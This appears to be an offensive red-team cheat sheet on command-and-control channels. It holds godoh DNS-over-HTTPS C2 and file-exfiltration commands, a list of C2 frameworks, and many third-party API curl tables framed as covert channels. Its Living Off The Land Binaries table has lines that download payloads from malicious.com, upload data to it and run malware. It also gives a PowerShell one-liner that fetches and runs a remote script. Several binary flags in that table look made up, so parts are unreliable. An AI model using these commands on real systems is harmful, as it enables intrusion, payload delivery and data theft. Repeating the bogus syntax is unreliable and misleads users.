DNS-over-HTTPS C2
github.com/sensepost/godoh
Starting the C2 Server: This command starts the godoh Command and Control (C2) server, which listens for incoming DNS requests and commands from agents.
godoh --domain example.com c2
- Description: This command initializes the C2 server on the specified domain (
example.com
in this case). The server listens on port 53 for DNS queries and handles communication with agents.
Sending a File via DoH (DNS over HTTPS): This command sends a file to a target domain using DNS A record lookups.
godoh --domain targetdomain.com send --file path/to/yourfile.txt
- Description: This command encodes and encrypts the specified file (
yourfile.txt
), then sends it to the targetdomain.com
. The file is transmitted via DNS queries, which are less likely to be blocked or monitored by network security systems.
havoc
github.com/HavocFramework/Havoc
instagram
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Authenticate User | Authenticate the user to gain access to Instagram's API. | curl -X GET 'https://api.instagram.com/oauth/authorize?client_id={app-id}&redirect_uri={redirect-uri}&scope=user_profile,user_media&response_type=code' | https://api.instagram.com/oauth/authorize | GET https://api.instagram.com/oauth/authorize?client_id={app-id}&redirect_uri={redirect-uri}&scope=user_profile,user_media&response_type=code |
2 | Get Access Token | Exchange the code received after authentication for an access token. | curl -X POST 'https://api.instagram.com/oauth/access_token' -F 'client_id={app-id}' -F 'client_secret={app-secret}' -F 'grant_type=authorization_code' -F 'redirect_uri={redirect-uri}' -F 'code={code}' | https://api.instagram.com/oauth/access_token | POST https://api.instagram.com/oauth/access_token |
3 | Retrieve User Media | Fetch media objects from the authenticated user's account. | curl -X GET 'https://graph.instagram.com/me/media?fields=id,caption&access_token={access-token}' | https://graph.instagram.com/me/media | GET https://graph.instagram.com/me/media?fields=id,caption&access_token={access-token} |
4 | Get Media Details | Get details of a specific media object. | curl -X GET 'https://graph.instagram.com/{media-id}?fields=id,media_type,media_url,username,timestamp&access_token={access-token}' | https://graph.instagram.com/{media-id} | GET https://graph.instagram.com/{media-id}?fields=id,media_type,media_url,username,timestamp&access_token={access-token} |
5 | Post to Instagram | Post new media to the user's Instagram account. | Note: Direct posting via API is restricted. Use Instagram's Content Publishing API. | Not directly available | Not directly available |
slack
github.com/Coalfire-Research/Slackor
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Authenticate App | Obtain an access token for your Slack app. | curl -X POST 'https://slack.com/api/oauth.v2.access' -H 'Content-Type: application/x-www-form-urlencoded' -d 'code={code}&client_id={client-id}&client_secret={client-secret}&redirect_uri={redirect-uri}' | https://slack.com/api/oauth.v2.access | POST https://slack.com/api/oauth.v2.access |
2 | Post Message | Send a message to a channel. | curl -X POST 'https://slack.com/api/chat.postMessage' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"channel":"{channel-id}","text":"Hello, world!"}' | https://slack.com/api/chat.postMessage | POST https://slack.com/api/chat.postMessage |
3 | List Channels | Retrieve a list of channels in the Slack workspace. | curl -X GET 'https://slack.com/api/conversations.list' -H 'Authorization: Bearer {access-token}' | https://slack.com/api/conversations.list | GET https://slack.com/api/conversations.list |
4 | Create Channel | Create a new channel in the workspace. | curl -X POST 'https://slack.com/api/conversations.create' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"name":"new-channel"}' | https://slack.com/api/conversations.create | POST https://slack.com/api/conversations.create |
5 | Upload File | Upload a file to a channel. | curl -F file=@"/path/to/your/file.txt" -F channels="{channel-id}" -H 'Authorization: Bearer {access-token}' 'https://slack.com/api/files.upload' | https://slack.com/api/files.upload | POST https://slack.com/api/files.upload |
Google calendar
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | List Calendars | Retrieve a list of calendars in the user's account. | curl -X GET 'https://www.googleapis.com/calendar/v3/users/me/calendarList' -H 'Authorization: Bearer {access-token}' | https://www.googleapis.com/calendar/v3/users/me/calendarList | GET https://www.googleapis.com/calendar/v3/users/me/calendarList |
2 | Create Event | Create a new event in a specified calendar. | curl -X POST 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{ "summary": "Event Title", "description": "Event Description", "start": { "dateTime": "2023-11-10T09:00:00-07:00" }, "end": { "dateTime": "2023-11-10T10:00:00-07:00" } }' | https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events | POST https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events |
3 | Get Event | Retrieve details of a specific event. | curl -X GET 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}' -H 'Authorization: Bearer {access-token}' | https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id} | GET https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id} |
4 | Update Event | Update an existing event in a calendar. | curl -X PUT 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{ "summary": "Updated Event Title", "description": "Updated Description" }' | https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id} | PUT https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id} |
5 | Delete Event | Delete an event from a calendar. | curl -X DELETE 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}' -H 'Authorization: Bearer {access-token}' | https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id} | DELETE https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id} |
google drive
github.com/looCiprian/GC2-sheet
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | List Files | Retrieve a list of files in the user's Google Drive. | curl -X GET 'https://www.googleapis.com/drive/v3/files' -H 'Authorization: Bearer {access-token}' | https://www.googleapis.com/drive/v3/files | GET https://www.googleapis.com/drive/v3/files |
2 | Upload File | Upload a new file to Google Drive. | curl -X POST 'https://www.googleapis.com/upload/drive/v3/files?uploadType=media' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: {mime-type}' --data-binary '@{file-path}' | https://www.googleapis.com/upload/drive/v3/files | POST https://www.googleapis.com/upload/drive/v3/files |
3 | Download File | Download a file from Google Drive. | curl -X GET 'https://www.googleapis.com/drive/v3/files/{file-id}?alt=media' -H 'Authorization: Bearer {access-token}' --output {local-file-path} | https://www.googleapis.com/drive/v3/files/{file-id} | GET https://www.googleapis.com/drive/v3/files/{file-id}?alt=media |
4 | Update File | Update an existing file in Google Drive. | curl -X PATCH 'https://www.googleapis.com/drive/v3/files/{file-id}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{ "name": "new-file-name" }' | https://www.googleapis.com/drive/v3/files/{file-id} | PATCH https://www.googleapis.com/drive/v3/files/{file-id} |
5 | Delete File | Delete a file from Google Drive. | curl -X DELETE 'https://www.googleapis.com/drive/v3/files/{file-id}' -H 'Authorization: Bearer {access-token}' | https://www.googleapis.com/drive/v3/files/{file-id} | DELETE https://www.googleapis.com/drive/v3/files/{file-id} |
Living Off The Land Binaries
Binary/Library/Script | Function | Example Command |
AddinUtil.exe | Execute | AddinUtil.exe /execute /payload:url |
AppInstaller.exe | Download | AppInstaller.exe /download /url:http://malicious.com/payload |
Aspnet_Compiler.exe | AWL Bypass | Aspnet_Compiler.exe /path:C:\malicious_code |
At.exe | Execute | At.exe 12:00 /every:M,T,W,Th,F "C:\malicious\malware.exe" |
Atbroker.exe | Execute | Atbroker.exe /start /app:C:\malicious\malware.exe |
Bash.exe | Execute | `Bash.exe -c 'curl malicious.com/script.sh |
Bitsadmin.exe | Download | Bitsadmin.exe /transfer myDownloadJob /download /priority normal http://malicious.com/payload.exe C:\payload.exe |
CertOC.exe | Execute | CertOC.exe -urlcache -split -f http://malicious.com/payload.exe payload.exe |
CertReq.exe | Download | CertReq.exe -retrieve http://malicious.com/certificate.cer |
Certutil.exe | Download | Certutil.exe -urlcache -split -f http://malicious.com/payload.exe payload.exe |
Cmd.exe | Execute | Cmd.exe /c "C:\malicious\malware.exe" |
Cmdkey.exe | Credentials | Cmdkey.exe /list > C:\output.txt |
cmdl32.exe | Download | cmdl32.exe /download http://malicious.com/payload.exe C:\payload.exe |
Cmstp.exe | Execute | Cmstp.exe /ni /s C:\malicious\malware.inf |
Colorcpl.exe | Copy | Colorcpl.exe /copy C:\malicious\malware.exe C:\Windows\System32\ |
ConfigSecurityPolicy.exe | Upload | ConfigSecurityPolicy.exe /upload C:\data.txt http://malicious.com/upload |
Conhost.exe | Execute | Conhost.exe C:\malicious\malware.exe |
Control.exe | Execute | Control.exe /name Microsoft.WindowsUpdate |
Csc.exe | Compile | Csc.exe /out:Malware.exe Malware.cs |
Cscript.exe | Execute | Cscript.exe //E:JScript C:\malicious\script.js |
merlin
github.com/Ne0nd0g/merlin
kubesploit
github.com/cyberark/kubesploit
phpsploit
github.com/nil0x42/phpsploit
blackmamba
github.com/loseys/BlackMamba
silver
github.com/BishopFox/sliver
HeadHunter
github.com/Lionskey/HeadHunter
Exchange
github.com/parham-f/Exchange_C2
cobalt
github.com/The-Z-Labs/bof-launcher
brc4
discord
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Send Message | Send a message to a Discord channel. | curl -X POST 'https://discord.com/api/channels/{channel-id}/messages' -H 'Authorization: Bot {bot-token}' -H 'Content-Type: application/json' -d '{"content": "Hello, world!"}' | https://discord.com/api/channels/{channel-id}/messages | POST https://discord.com/api/channels/{channel-id}/messages |
2 | List Channel Messages | Retrieve messages from a specific channel. | curl -X GET 'https://discord.com/api/channels/{channel-id}/messages' -H 'Authorization: Bot {bot-token}' | https://discord.com/api/channels/{channel-id}/messages | GET https://discord.com/api/channels/{channel-id}/messages |
3 | Edit Message | Edit a previously sent message in a channel. | curl -X PATCH 'https://discord.com/api/channels/{channel-id}/messages/{message-id}' -H 'Authorization: Bot {bot-token}' -H 'Content-Type: application/json' -d '{"content": "Edited message"}' | https://discord.com/api/channels/{channel-id}/messages/{message-id} | PATCH https://discord.com/api/channels/{channel-id}/messages/{message-id} |
4 | Delete Message | Delete a message from a channel. | curl -X DELETE 'https://discord.com/api/channels/{channel-id}/messages/{message-id}' -H 'Authorization: Bot {bot-token}' | https://discord.com/api/channels/{channel-id}/messages/{message-id} | DELETE https://discord.com/api/channels/{channel-id}/messages/{message-id} |
5 | Create Channel | Create a new channel in a Discord server. | curl -X POST 'https://discord.com/api/guilds/{guild-id}/channels' -H 'Authorization: Bot {bot-token}' -H 'Content-Type: application/json' -d '{"name": "new-channel", "type": 0}' | https://discord.com/api/guilds/{guild-id}/channels | POST https://discord.com/api/guilds/{guild-id}/channels |
telegram
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Send Message | Send a message to a Telegram chat. | curl -X POST 'https://api.telegram.org/bot{bot-token}/sendMessage' -d 'chat_id={chat-id}&text=Hello, world!' | https://api.telegram.org/bot{bot-token}/sendMessage | POST https://api.telegram.org/bot{bot-token}/sendMessage |
2 | Get Updates | Retrieve new updates for the bot. | curl -X GET 'https://api.telegram.org/bot{bot-token}/getUpdates' | https://api.telegram.org/bot{bot-token}/getUpdates | GET https://api.telegram.org/bot{bot-token}/getUpdates |
3 | Edit Message | Edit a text message sent by the bot. | curl -X POST 'https://api.telegram.org/bot{bot-token}/editMessageText' -d 'chat_id={chat-id}&message_id={message-id}&text=Edited message' | https://api.telegram.org/bot{bot-token}/editMessageText | POST https://api.telegram.org/bot{bot-token}/editMessageText |
4 | Delete Message | Delete a message sent by the bot. | curl -X POST 'https://api.telegram.org/bot{bot-token}/deleteMessage' -d 'chat_id={chat-id}&message_id={message-id}' | https://api.telegram.org/bot{bot-token}/deleteMessage | POST https://api.telegram.org/bot{bot-token}/deleteMessage |
5 | Send Photo | Send a photo to a Telegram chat. | curl -X POST 'https://api.telegram.org/bot{bot-token}/sendPhoto' -F 'chat_id={chat-id}' -F 'photo=@/path/to/photo.jpg' | https://api.telegram.org/bot{bot-token}/sendPhoto | POST https://api.telegram.org/bot{bot-token}/sendPhoto |
github
github.com/3ct0s/dystopia-c2
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | List Repositories | Retrieve a list of repositories for a user. | curl -X GET 'https://api.github.com/users/{username}/repos' -H 'Authorization: token {access-token}' | https://api.github.com/users/{username}/repos | GET https://api.github.com/users/{username}/repos |
2 | Create Repository | Create a new repository. | curl -X POST 'https://api.github.com/user/repos' -H 'Authorization: token {access-token}' -H 'Content-Type: application/json' -d '{"name": "repo-name", "private": false}' | https://api.github.com/user/repos | POST https://api.github.com/user/repos |
3 | Get Repository | Retrieve details of a specific repository. | curl -X GET 'https://api.github.com/repos/{owner}/{repo}' -H 'Authorization: token {access-token}' | https://api.github.com/repos/{owner}/{repo} | GET https://api.github.com/repos/{owner}/{repo} |
4 | Update Repository | Update settings of a repository. | curl -X PATCH 'https://api.github.com/repos/{owner}/{repo}' -H 'Authorization: token {access-token}' -H 'Content-Type: application/json' -d '{"name": "new-repo-name", "description": "Updated description"}' | https://api.github.com/repos/{owner}/{repo} | PATCH https://api.github.com/repos/{owner}/{repo} |
5 | Delete Repository | Delete a repository. | curl -X DELETE 'https://api.github.com/repos/{owner}/{repo}' -H 'Authorization: token {access-token}' | https://api.github.com/repos/{owner}/{repo} | DELETE https://api.github.com/repos/{owner}/{repo} |
image
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Upload Image | Upload an image to the server for processing. | curl -X POST 'https://api.imaginaryservice.com/upload' -H 'Authorization: Bearer {access-token}' -F 'image=@/path/to/image.jpg' | https://api.imaginaryservice.com/upload | POST https://api.imaginaryservice.com/upload |
2 | Apply Filter | Apply a filter to an uploaded image. | curl -X POST 'https://api.imaginaryservice.com/images/{image-id}/filter' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"filter": "sepia"}' | https://api.imaginaryservice.com/images/{image-id}/filter | POST https://api.imaginaryservice.com/images/{image-id}/filter |
3 | Resize Image | Resize an uploaded image. | curl -X PUT 'https://api.imaginaryservice.com/images/{image-id}/resize' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"width": 800, "height": 600}' | https://api.imaginaryservice.com/images/{image-id}/resize | PUT https://api.imaginaryservice.com/images/{image-id}/resize |
4 | Retrieve Image | Download a processed image. | curl -X GET 'https://api.imaginaryservice.com/images/{image-id}' -H 'Authorization: Bearer {access-token}' --output {local-file-path} | https://api.imaginaryservice.com/images/{image-id} | GET https://api.imaginaryservice.com/images/{image-id} |
5 | Delete Image | Delete an image from the server. | curl -X DELETE 'https://api.imaginaryservice.com/images/{image-id}' -H 'Authorization: Bearer {access-token}' | https://api.imaginaryservice.com/images/{image-id} | DELETE https://api.imaginaryservice.com/images/{image-id} |
powershell
ID | Title | Description | PowerShell Commands and Codes | API Endpoint (Hypothetical) | HTTP Requests (Example) |
1 | Invoke Web Request | Send a GET request to an API. | Invoke-WebRequest -Uri 'https://api.example.com/data' -Method Get -Headers @{Authorization="Bearer {access-token}"} | https://api.example.com/data | GET https://api.example.com/data |
2 | Download File | Download a file from the internet. | Invoke-WebRequest -Uri 'https://example.com/file.zip' -OutFile 'path\to\save\file.zip' | N/A | N/A |
3 | Execute Remote Script | Run a PowerShell script from a remote location. | IEX (New-Object Net.WebClient).DownloadString('https://example.com/script.ps1') | N/A | N/A |
4 | Post Data to API | Send a POST request with data. | `$body = @{key='value'} | ConvertTo-Json; Invoke-WebRequest -Uri 'api.example.com/submit' -Method Post -Body $body -ContentType 'application/json' -Headers @{Authorization="Bearer {access-token}"}` | https://api.example.com/submit | POST https://api.example.com/submit |
5 | Fetch System Information | Retrieve system information. | Get-ComputerInfo | N/A | N/A |
curl
ID | Title | Description | curl Commands and Codes | API Endpoint | HTTP Requests |
1 | GET Request | Retrieve data from an API. | curl -X GET 'https://api.example.com/data' -H 'Authorization: Bearer {access-token}' | https://api.example.com/data | GET https://api.example.com/data |
2 | POST Request | Send data to an API. | curl -X POST 'https://api.example.com/submit' -H 'Content-Type: application/json' -H 'Authorization: Bearer {access-token}' -d '{"key": "value"}' | https://api.example.com/submit | POST https://api.example.com/submit |
3 | PUT Request | Update data at an API. | curl -X PUT 'https://api.example.com/update/123' -H 'Content-Type: application/json' -H 'Authorization: Bearer {access-token}' -d '{"newKey": "newValue"}' | https://api.example.com/update/123 | PUT https://api.example.com/update/123 |
4 | DELETE Request | Delete data using an API. | curl -X DELETE 'https://api.example.com/delete/123' -H 'Authorization: Bearer {access-token}' | https://api.example.com/delete/123 | DELETE https://api.example.com/delete/123 |
5 | PATCH Request | Partially update data at an API. | curl -X PATCH 'https://api.example.com/modify/123' -H 'Content-Type: application/json' -H 'Authorization: Bearer {access-token}' -d '{"patchKey": "patchValue"}' | https://api.example.com/modify/123 | PATCH https://api.example.com/modify/123 |
scp
ID | Title | Description | SCP Commands and Codes | Notes |
1 | Copy File to Remote | Copy a local file to a remote server. | scp /path/to/local/file username@remotehost:/path/to/remote/directory | Replace paths and username@remotehost with actual values. |
2 | Copy File from Remote | Copy a file from a remote server to the local machine. | scp username@remotehost:/path/to/remote/file /path/to/local/directory | Replace paths and username@remotehost with actual values. |
3 | Copy Directory to Remote | Copy a local directory to a remote server. | scp -r /path/to/local/directory username@remotehost:/path/to/remote | Use -r for recursive copy of directories. |
4 | Copy Directory from Remote | Copy a directory from a remote server to the local machine. | scp -r username@remotehost:/path/to/remote/directory /path/to/local | Use -r for recursive copy of directories. |
5 | Secure Copy with Port Specification | Copy a file using a specific SSH port. | scp -P portnumber /path/to/local/file username@remotehost:/path/to/remote/directory | Replace portnumber with the SSH port number. |
rsync
ID | Title | Description | rsync Commands and Codes | Notes |
1 | Basic File Sync | Synchronize a local file to a remote directory. | rsync /path/to/local/file username@remotehost:/path/to/remote/directory | Replace paths and username@remotehost with actual values. |
2 | Sync Directory | Synchronize a local directory to a remote directory. | rsync -avz /path/to/local/directory/ username@remotehost:/path/to/remote/directory | -avz flags are for archive mode, verbose, and compression. |
3 | Sync with Deletion | Synchronize while deleting files that are not in the source directory. | rsync -avz --delete /path/to/local/directory/ username@remotehost:/path/to/remote/directory | --delete flag removes files from the destination not present in the source. |
4 | Dry Run | Perform a trial run with no changes made. | rsync -avz --dry-run /path/to/local/directory/ username@remotehost:/path/to/remote/directory | --dry-run shows what would be done without making changes. |
5 | Sync Over SSH | Synchronize files securely over SSH. | rsync -avz -e "ssh -p portnumber" /path/to/local/directory/ username@remotehost:/path/to/remote/directory | -e "ssh -p portnumber" specifies using SSH on a custom port. |
wget
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Download a Single File | Download a file from a specified URL. | wget http://example.com/file.txt | N/A | GET http://example.com/file.txt |
2 | Download and Save with a Different Name | Download a file and save it under a different name. | wget -O newfilename.txt http://example.com/file.txt | N/A | GET http://example.com/file.txt |
3 | Download in Background | Start a download in the background. | wget -b http://example.com/bigfile.iso | N/A | GET http://example.com/bigfile.iso |
4 | Limit Download Speed | Limit the download speed. | wget --limit-rate=100k http://example.com/bigfile.iso | N/A | GET http://example.com/bigfile.iso |
5 | Download a Full Website | Download the entire contents of a website. | wget --mirror -p --convert-links -P ./local-dir http://example.com | N/A | GET http://example.com |
6 | Download Files from a List | Download files from a list in a text file. | wget -i filelist.txt | N/A | Based on filelist.txt contents |
7 | Download with Authentication | Download a file from a server with HTTP authentication. | wget --http-user=user --http-password=password http://example.com/ | N/A | GET http://example.com/ |
8 | Download via FTP | Download files from an FTP server. | wget ftp://user:password@example.com/path/to/file | N/A | FTP request to example.com |
9 | Resume an Incomplete Download | Resume a download that was interrupted. | wget -c http://example.com/bigfile.iso | N/A | GET http://example.com/bigfile.iso |
yum
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Install a Package | Install a new software package. | yum install packageName | N/A | N/A |
2 | Update a Package | Update an installed software package. | yum update packageName | N/A | N/A |
3 | Remove a Package | Remove an installed software package. | yum remove packageName | N/A | N/A |
4 | List Installed Packages | List all installed packages. | yum list installed | N/A | N/A |
5 | Search for a Package | Search for a package in the repositories. | yum search keyword | N/A | N/A |
6 | Check for Updates | Check for available updates for all packages. | yum check-update | N/A | N/A |
7 | Clean Cache | Clean up yum cache to free up space. | yum clean all | N/A | N/A |
8 | List Available Packages | List all available packages in the repositories. | yum list available | N/A | N/A |
9 | Get Package Information | Display detailed information about a package. | yum info packageName | N/A | N/A |
winget
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Install a Package | Install a new software package. | winget install packageName | N/A | N/A |
2 | Search for a Package | Search for a package in the repository. | winget search packageName | N/A | N/A |
3 | Show Package Details | Show details of a specific package. | winget show packageName | N/A | N/A |
4 | List Installed Packages | List all installed packages. | winget list | N/A | N/A |
5 | Update a Package | Update an installed software package. | winget upgrade packageName | N/A | N/A |
6 | Remove a Package | Remove an installed software package. | winget uninstall packageName | N/A | N/A |
7 | Upgrade All Packages | Upgrade all upgradable packages. | winget upgrade --all | N/A | N/A |
8 | Export Package List | Export a list of installed packages to a file. | winget export -o packages.json | N/A | N/A |
9 | Import Package List | Install packages from an exported list. | winget import -i packages.json | N/A | N/A |
ftp
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Connect to FTP Server | Establish a connection with an FTP server. | ftp ftp.server.com | N/A | N/A |
2 | Login | Log in to the FTP server with a username and password. | username then password | N/A | N/A |
3 | List Files | List files in the current directory. | ls or dir | N/A | N/A |
4 | Change Directory | Change the current directory on the FTP server. | cd /path/to/directory | N/A | N/A |
5 | Upload File | Upload a file to the FTP server. | put localfile.txt remotefile.txt | N/A | N/A |
6 | Download File | Download a file from the FTP server. | get remotefile.txt localfile.txt | N/A | N/A |
7 | Delete File | Delete a file on the FTP server. | delete remotefile.txt | N/A | N/A |
8 | Rename File | Rename a file on the FTP server. | rename oldfilename.txt newfilename.txt | N/A | N/A |
9 | Logout | Logout from the FTP server. | bye or quit | N/A | N/A |
usb
Pastebin
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Create Paste | Create a new paste on Pastebin. | curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key={api_dev_key}&api_option=paste&api_paste_code=Sample Text&api_paste_name=Test Paste&api_paste_expire_date=10M&api_paste_format=text&api_user_key={api_user_key}' | https://pastebin.com/api/api_post.php | POST https://pastebin.com/api/api_post.php |
2 | List User Pastes | List the pastes created by a user. | curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key={api_dev_key}&api_option=list&api_user_key={api_user_key}&api_results_limit=10' | https://pastebin.com/api/api_post.php | POST https://pastebin.com/api/api_post.php |
3 | Get User Details | Retrieve details of the logged-in user. | curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key={api_dev_key}&api_option=userdetails&api_user_key={api_user_key}' | https://pastebin.com/api/api_post.php | POST https://pastebin.com/api/api_post.php |
4 | Delete Paste | Delete a user's paste. | curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key={api_dev_key}&api_option=delete&api_user_key={api_user_key}&api_paste_key={paste_key}' | https://pastebin.com/api/api_post.php | POST https://pastebin.com/api/api_post.php |
5 | Get Raw Paste | Get the raw text of a paste. | curl -X GET 'https://pastebin.com/api/api_raw.php?api_dev_key={api_dev_key}&api_user_key={api_user_key}&api_paste_key={paste_key}' | https://pastebin.com/api/api_raw.php | GET https://pastebin.com/api/api_raw.php |
YouTube
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | List Videos | Retrieve a list of videos from a specific channel. | curl -X GET 'https://www.googleapis.com/youtube/v3/videos?part=snippet&channelId={channelId}&key={API_KEY}' | https://www.googleapis.com/youtube/v3/videos | GET https://www.googleapis.com/youtube/v3/videos?part=snippet&channelId={channelId}&key={API_KEY} |
2 | Upload Video | Upload a video to YouTube. | curl -X POST -H 'Authorization: Bearer {access-token}' -F 'snippet={\"title\":\"My video\",\"description\":\"Video description\",\"tags\":[\"tag1\",\"tag2\"]}' -F 'status={\"privacyStatus\":\"public\"}' -F 'video=@/path/to/video.mp4;type=video/mp4' 'https://www.googleapis.com/upload/youtube/v3/videos?part=snippet,status' | https://www.googleapis.com/upload/youtube/v3/videos | POST https://www.googleapis.com/upload/youtube/v3/videos?part=snippet,status |
3 | Update Video Details | Update metadata of an existing video. | curl -X PUT 'https://www.googleapis.com/youtube/v3/videos' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"id\":\"{videoId}\",\"snippet\":{\"title\":\"New Title\",\"description\":\"Updated description\",\"categoryId\":\"10\"},\"status\":{\"privacyStatus\":\"public\"}}' | https://www.googleapis.com/youtube/v3/videos | PUT https://www.googleapis.com/youtube/v3/videos |
4 | Delete Video | Delete a video from YouTube. | curl -X DELETE 'https://www.googleapis.com/youtube/v3/videos?id={videoId}&key={API_KEY}' -H 'Authorization: Bearer {access-token}' | https://www.googleapis.com/youtube/v3/videos | DELETE https://www.googleapis.com/youtube/v3/videos?id={videoId}&key={API_KEY} |
5 | Create Playlist | Create a new playlist. | curl -X POST 'https://www.googleapis.com/youtube/v3/playlists' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"snippet\":{\"title\":\"My Playlist\",\"description\":\"Playlist description\"},\"status\":{\"privacyStatus\":\"public\"}}' | https://www.googleapis.com/youtube/v3/playlists | POST https://www.googleapis.com/youtube/v3/playlists |
Facebook
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Retrieve User Profile | Get details of a user's profile. | curl -X GET 'https://graph.facebook.com/v12.0/me?access_token={access-token}' | https://graph.facebook.com/v12.0/me | GET https://graph.facebook.com/v12.0/me?access_token={access-token} |
2 | Post to User's Feed | Create a post on a user's feed. | curl -X POST 'https://graph.facebook.com/v12.0/me/feed?message=Hello%20World&access_token={access-token}' | https://graph.facebook.com/v12.0/me/feed | POST https://graph.facebook.com/v12.0/me/feed?message=Hello%20World&access_token={access-token} |
3 | List User's Photos | Retrieve a list of photos uploaded by a user. | curl -X GET 'https://graph.facebook.com/v12.0/me/photos?type=uploaded&access_token={access-token}' | https://graph.facebook.com/v12.0/me/photos | GET https://graph.facebook.com/v12.0/me/photos?type=uploaded&access_token={access-token} |
4 | Upload a Photo | Upload a photo to a user's account. | curl -F 'source=@/path/to/photo.jpg' -F 'access_token={access-token}' 'https://graph.facebook.com/v12.0/me/photos' | https://graph.facebook.com/v12.0/me/photos | POST https://graph.facebook.com/v12.0/me/photos |
5 | Delete a Post | Delete a specific post from a user's feed. | curl -X DELETE 'https://graph.facebook.com/v12.0/{post-id}?access_token={access-token}' | https://graph.facebook.com/v12.0/{post-id} | DELETE https://graph.facebook.com/v12.0/{post-id}?access_token={access-token} |
AWS
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | List S3 Buckets | List all S3 buckets in your account. | aws s3api list-buckets | s3.amazonaws.com | GET / |
2 | Create EC2 Instance | Launch a new EC2 instance. | aws ec2 run-instances --image-id ami-0abcdef1234567890 --count 1 --instance-type t2.micro --key-name MyKeyPair | ec2.amazonaws.com | POST / with parameters in request body |
3 | Invoke Lambda Function | Invoke an AWS Lambda function. | aws lambda invoke --function-name my-function out --log-type Tail | lambda.amazonaws.com | POST /2015-03-31/functions/my-function/invocations |
4 | Describe RDS Instances | Retrieve details of RDS instances. | aws rds describe-db-instances | rds.amazonaws.com | POST / with parameters in request body |
5 | Publish to SNS Topic | Publish a message to an SNS topic. | aws sns publish --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic --message "Hello world" | sns.amazonaws.com | POST / with parameters in request body |
Microsoft’s Onedrive
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | List Files in Folder | Retrieve a list of files in a specific OneDrive folder. | curl -X GET 'https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}:/children' -H 'Authorization: Bearer {access-token}' | https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}:/children | GET https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}:/children |
2 | Upload File | Upload a file to OneDrive. | curl -X PUT 'https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}/{file-name}:/content' -H 'Authorization: Bearer {access-token}' -T '{file-path}' | https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}/{file-name}:/content | PUT https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}/{file-name}:/content |
3 | Download File | Download a file from OneDrive. | curl -X GET 'https://graph.microsoft.com/v1.0/me/drive/items/{item-id}/content' -H 'Authorization: Bearer {access-token}' -o '{local-file-path}' | https://graph.microsoft.com/v1.0/me/drive/items/{item-id}/content | GET https://graph.microsoft.com/v1.0/me/drive/items/{item-id}/content |
4 | Delete File | Delete a file from OneDrive. | curl -X DELETE 'https://graph.microsoft.com/v1.0/me/drive/items/{item-id}' -H 'Authorization: Bearer {access-token}' | https://graph.microsoft.com/v1.0/me/drive/items/{item-id} | DELETE https://graph.microsoft.com/v1.0/me/drive/items/{item-id} |
5 | Create Folder | Create a new folder in OneDrive. | curl -X POST 'https://graph.microsoft.com/v1.0/me/drive/root/children' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"name\": \"{folder-name}\", \"folder\": {}, \"@microsoft.graph.conflictBehavior\": \"rename\"}' | https://graph.microsoft.com/v1.0/me/drive/root/children | POST https://graph.microsoft.com/v1.0/me/drive/root/children |
Jabber/XMPP protocol
ID | Title | Description | Commands and Codes | API Endpoint | HTTP Requests |
1 | Connect to Server | Establish a connection with an XMPP server. | xmpp.connect('server.com') | N/A | N/A |
2 | Authenticate | Log in to the XMPP server with a username and password. | xmpp.authenticate('username', 'password') | N/A | N/A |
3 | Send Message | Send a message to another user. | xmpp.sendMessage('recipient@server.com', 'Hello, world!') | N/A | N/A |
